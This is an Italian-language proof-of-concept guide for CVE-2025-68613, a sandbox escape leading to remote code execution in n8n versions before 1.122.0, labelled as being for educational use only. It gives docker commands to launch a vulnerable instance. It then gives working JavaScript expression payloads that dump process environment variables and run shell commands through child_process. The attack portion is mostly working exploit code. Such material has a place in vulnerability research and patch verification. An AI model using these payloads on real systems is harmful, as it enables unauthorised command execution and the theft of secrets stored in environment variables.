
PoC per CVE-2025-68613
Solo a scopo educativo Questa Proof of Concept dimostra una vulnerabilità critica (CVE-2025-68613) in n8n. Non utilizzarla su sistemi di cui non sei proprietario o per cui non hai esplicita autorizzazione.
Le versioni di n8n precedenti alla 1.122.0 contengono una vulnerabilità di esecuzione di codice remoto (RCE). Utenti autenticati possono bypassare la sandbox delle espressioni ed eseguire codice arbitrario sul sistema host tramite payload JavaScript specifici nell'editor di espressioni dei workflow.
Crea un volume dati ed esegui una versione vulnerabile di n8n (es. v1.120.0).
# Crea il volume per la persistenza
docker volume create n8n_data
# Esegui l'istanza vulnerabile di n8n
docker run -it --rm \
--name n8n \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.120.0
Naviga su http://localhost:5678 e completa la configurazione iniziale se necessario.

Clicca su "Add Workflow" per iniziare un workflow vuoto.

Aggiungi un nodo Set al workflow. Questo nodo permette di definire valori che possono essere valutati come espressioni.

Nel nodo Set, modifica un parametro (es. value) e cambia il tipo di input in Expression.

Inserisci i seguenti payload nell'editor di espressioni per dimostrare la vulnerabilità.
Questo payload accede a this.process.env per divulgare variabili d'ambiente sensibili dal container.
Payload:
{{ (function() {
return JSON.stringify(this.process.env, null, 2);
})() }}
Risultato:

Questo payload bypassa la sandbox accedendo a process.mainModule.require per caricare il modulo child_process, consentendo l'esecuzione di comandi arbitrari sul sistema.
Payload:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('whoami').toString();
})() }}

Risultato: Verifica il contesto utente del processo in esecuzione.
Dimostra la capacità di navigare nel filesystem.
Payload:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('ls -la /').toString();
})() }}
Risultato:
